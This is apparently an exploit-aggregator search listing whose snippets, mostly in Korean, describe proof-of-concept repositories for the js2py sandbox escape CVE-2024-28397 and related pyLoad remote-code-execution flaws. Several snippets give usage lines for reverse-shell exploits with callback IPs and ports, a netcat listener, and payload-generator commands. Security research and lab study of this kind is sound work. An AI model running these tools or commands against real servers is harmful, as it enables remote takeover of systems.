75 matches found
pyload-ng js2py - Remote Code Execution
An issue in the component js2py.disablepyimport of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call. id: CVE-2024-28397 info: name: pyload-ng js2py - Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: medium description: | An issue in the...
CVE-2023-0297
pyloadCVE-2023-0297poc pyLoad 0.5.0b3.dev31 이전 버전의 코드 삽입 취약점으로, js2py의 기능을 악용하여 사전 인증pre-auth RCE가 발생합니다. 사용법 CVE-2023-0297poc.exe 사용법: root@kitploit: -f string fileName:IP.txt -u string example:http://127.0.0.1:8080...
CVE-2023-0297_Pre-auth_RCE_in_pyLoad
CVE-2023-0297: pyLoad에서 인증 전 RCE pyLoad에서 인증 전 RCE를 발견한 이야기 TL;DR 0.5.0b3.dev31 이전 버전의 pyLoad에서 js2py의 기능을 악용하여 인증 전 RCE로 이어지는 코드 인젝션 취약점이 존재합니다. 보고서는 여기에서, 익스플로잇 코드는 여기에서 확인할 수 있습니다. 세부 사항 pyLoad는 Python으로 작성된 오픈소스 다운로드 매니저이며 웹 인터페이스로 관리할 수 있습니다. GitHub 저장소는 2023년 1월 9일 기준 약 2.8k 스타를 보유하고 있습니다...
CVE-2024-28397-js2py-Sandbox-Escape
소개 중국어 분석 중국어 분석 영어 js2py는 파이썬 인터프리터 내에서 자바스크립트 코드를 평가할 수 있는 인기 있는 파이썬 패키지입니다. 다양한 웹 스크래퍼가 웹사이트의 자바스크립트 코드를 파싱하는 데 사용됩니다. js2py 내부의 전역 변수 구현에 취약점이 존재하여, 공격자가 js2py 환경에서 파이썬 객체에 대한 참조를 획득할 수 있게 됩니다. 이를 통해 공격자는 JS 환경을 탈출하여 호스트에서 임의의 명령을 실행할 수 있습니다. 일반적으로 사용자는 js2py.disablepyimport를 호출하여 JavaScript...
CVE-2024-39205-Pyload-RCE
CVE-2024-39205-Pyload-RCE Pyload RCE with js2py 샌드박스 탈출 요약 python3.11 이하에서 실행되는 모든 pyload-ng는 RCE에 취약합니다. 공격자는 임의의 셸 명령이 포함된 요청을 보낼 수 있으며, 피해자 서버는 이를 즉시 실행합니다. 수정 pyload-ng의 최신 버전으로 업그레이드하거나 python3.12 이상에서 pyload를 실행하면 됩니다. 세부 사항 js2py는 CVE-2024-28397로 지정된 샌드박스 탈출 취약점이 있으며, 이는 pyload-ng의...
Remote-Code-Execution-CVE-2024-28397-pyload-ng-js2py-
원격 코드 실행 – CVE-2024-28397 pyload-ng / js2py 이 저장소는 js2py 의 안전하지 않은 사용으로 인해 pyload-ng 에 영향을 미치는 원격 코드 실행 취약점인 CVE-2024-28397 에 대한 개념 증명PoC 익스플로잇을 포함하고 있습니다. 면책 조항: 이 PoC는 교육 및 연구 목적으로만 제공됩니다. 소유하지 않거나 테스트할 명시적 권한이 없는 시스템에는 사용하지 마십시오. 저자는 이 코드의 어떠한 오용에 대해서도 책임지지 않습니다. 취약점 세부 정보 CVE ID: CVE-2024-283...
CVE-2024-28397-RCE
CVE-2024-28397 RCE 스크립트 기본 리버스 셸 페이로드 및 선택적 명령 인자 허용 익스플로잇은 js2py = v0.74에서 작동합니다 요구 사항 Python 3.x requests 라이브러리 pip install requests Netcat 리스너 리버스 셸용 사용 예시 리버스 셸: root@kitploit: python exploit.py 10.129.227.108 /runcode --localip 10.10.14.71 --localport 4444 사용자 정의 명령: root@kitploit: python...
CVE-2024-28397-Js2Py-RCE-Exploit
💡 심층 분석: 전체 기술 브리핑PDF을 읽으려면 여기를 클릭하세요. CVE-2024-28397: Js2Py 샌드박스 탈출 페이로드 생성기 CVE-2024-28397 을 위한 전문 페이로드 생성기입니다. 이 도구는 js2py 샌드박스= 0.74 버전를 탈출하고 대상 시스템에서 임의의 명령을 실행하도록 설계된 악성 JavaScript 코드를 생성합니다. 🚨 취약점 세부 정보 CVE ID: CVE-2024-28397 영향을 받는 구성 요소: Js2Py = 0.74 영향: 원격 코드 실행RCE / 샌드박스 탈출 메커니즘:...
CVE-2024-28397-js2py-Sandbox-Escape
CVE-2024-28397-js2py-Sandbox-Escape js2py 취약점 분석 소개 js2py는 파이썬 인터프리터 내에서 자바스크립트 코드를 평가할 수 있는 인기 있는 파이썬 패키지입니다. 다양한 웹 스크래퍼에서 웹사이트의 자바스크립트 코드를 파싱하는 데 사용됩니다. js2py 내부 전역 변수 구현에 취약점이 존재하여, 공격자가 js2py 환경에서 파이썬 객체에 대한 참조를 얻을 수 있게 됩니다. 이를 통해 공격자는 JS 환경을 탈출하여 호스트에서 임의의 명령을 실행할 수 있습니다. 일반적으로 사용자는...
CVE-2024-28397
CVE-2024-28397 js2py 샌드박스 탈출 익스플로잇 - CodePartTwo - HTB CVE-2024-28397 을 위한 Python 익스플로잇 코드로, js2py = 0.74에서 샌드박스 탈출 및 원격 코드 실행을 허용하는 치명적인 취약점입니다. 🚨 취약점 세부 정보 CVE ID : CVE-2024-28397 영향받는 소프트웨어 : js2py = 0.74 심각도 : 치명적 CVSS 9.8 유형 : 샌드박스 탈출 / 원격 코드 실행 발견 날짜 : 2024년 2월 설명 js2py는 Python 환경 내에서...
CVE-2024-28397-command-execution-poc
CVE-2024-28397-command-execution-poc 이 취약점은 js2py의 불완전한 샌드박싱으로 인해 발생하며, 조작된 JavaScript가 Python의 내부 객체 모델을 탐색하고 subprocess.Popen과 같은 위험한 클래스에 접근하여 임의의 명령 실행을 유발할 수 있습니다. JSON 파서 & RCE 익스플로잇 PoC 개요 이 저장소는 js2py.disablepyimport를 통한 샌드박스 이스케이프 를 시연하는 개념 증명PoC 페이로드를 포함합니다. 이는 js2py 버전 0.74 까지의 취약점입니다...
CVE-2024-28397-Js2Py-RCE
CVE-2024-28397 - Js2Py サンドボックスエスケープペイロードジェネレーター このスクリプトは、Python内部がオブジェクトラッパーを通じて露出している脆弱な環境で、Js2Pyによって評価可能なJavaScriptペイロードを生成します。 使い方 基本的なコマンド実行: root@kitploit: python3 cve-2024-28397.py -c "id" コンパクトな1行ペイロードを生成: root@kitploit: python3 cve-2024-28397.py -c "whoami" --compact Base64を使ったリバースシェル...
CVE-2024-28397-Exploit-Automation
CVE-2024-28397 エクスプロイト自動化 js2py サンドボックスエスケープ の脆弱性（CVE-2024-28397）を悪用するための Python 自動化スクリプトです。このツールは、脆弱性のあるインスタンス上でリモートコード実行（RCE）を達成するためのペイロード生成および配信プロセスを自動化します。 ⚠️ 法的免責事項 事前の相互同意なしに対象に攻撃を仕掛けるためにこのツールを使用することは違法です。このリポジトリは教育目的のみで提供されています。作者はこの情報の誤用について一切の責任を負いません。このツールは、権限が付与されたセキュリティ評価および Capture Th...
CVE-2024-28397-Reverse-Shell
CVE-2024-28397-Reverse-Shell CVE-2024-28397을 위한 리버스 셸. js2py = v0.74에서 작동하는 익스플로잇입니다. 요구 사항 requests 라이브러리 pip install requests Python3 Netcat 리버스 셸 리스너로 사용할 수 있는 도구 사용법 리스너용 root@kitploit: nc -lnvp 4444 익스플로잇용 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11...
exploit-js2py
CVE-2024-28397 - js2py 샌드박스 탈출 설명 CVE-2024-28397 취약점은 Python 인터프리터 내에서 JavaScript 코드를 실행할 수 있게 해주는 Python 라이브러리인 js2py 의 v0.74까지의 버전에 영향을 미칩니다. 결함은 JavaScript 코드가 Python 객체에 접근하는 것을 차단해야 하는 disablepyimport 메서드의 구현에 있습니다. 그러나 구현 실패로 인해 공격자는 이 제한을 우회하고 JavaScript 환경 내에서 Python 객체에 대한 참조를 얻을 수 있으며, ...
CVE-2024-28397-exploit
js2py 샌드박스 탈출 CVE-2024-28397 js2py = 0.74에서 샌드박스 탈출을 통한 원격 명령 실행RCE 익스플로잇. 안전하지 않은 JavaScript 평가를 통해 호스트 시스템에서 임의의 코드를 실행할 수 있습니다. 취약점 CVE : CVE-2024-28397 구성 요소 : js2py 영향을 받는 버전 : = 0.74 영향 : 원격 코드 실행 Remote Code Execution 벡터 : JavaScript 샌드박스 탈출 취약점 분석 : CVE-2024-28397-js2py-Sandbox-Escape 특징...
js2py-Sandbox-Escape-CVE-2024-28397-RCE
CVE-2024-28397 js2py 샌드박스 탈출 익스플로잇 js2py 샌드박스 탈출 취약점CVE-2024-28397을 대상으로 하는 익스플로잇 스크립트 모음입니다. 이 취약점은 Python 객체 내부 조사를 통해 임의 코드 실행을 허용합니다. 🔍 취약점 개요 js2py 라이브러리에는 JavaScript의 Object.getOwnPropertyNames 메서드를 통해 내부 Python 객체에 접근하여 공격자가 임의의 Python 코드를 실행할 수 있는 치명적인 샌드박스 탈출 취약점이 있습니다. 기술적 세부 사항 CVE 식별자...
CVE-2024-28397-js2py-Sandbox-Escape
소개 中文 js2py는 파이썬 인터프리터 내에서 자바스크립트 코드를 평가할 수 있는 인기 있는 파이썬 패키지입니다. 다양한 웹 스크래퍼가 웹사이트의 자바스크립트 코드를 파싱하는 데 사용합니다. js2py 내 전역 변수 구현에 취약점이 존재하며, 이를 통해 공격자는 js2py 환경에서 파이썬 객체에 대한 참조를 얻을 수 있습니다. 결과적으로 공격자는 js 환경을 벗어나 호스트에서 임의의 명령을 실행할 수 있습니다. 일반적으로 사용자는 js2py.disablepyimport를 호출하여 자바스크립트 코드가 js2py 환경을 벗어나는...
CVE-2024-28397-Js2Py-RCE
CVE-2024-28397-Js2Py-RCE 설명 이 저장소는 Python용 Js2Py JavaScript 인터프리터의 샌드박스 탈출 취약점인 CVE-2024-28397에 대한 Python 기반 PoCProof of Concept를 포함합니다. 대상 애플리케이션이 Js2Py를 통해 신뢰할 수 없는 JS 코드를 평가할 때, 공격자는 샌드박스를 벗어나 임의의 Python 코드를 실행할 수 있습니다. 이를 이용해 취약한 시스템에서 원격 코드 실행RCE 및 리버스 셸을 획득할 수 있습니다. 본 익스플로잇은 Marven11의...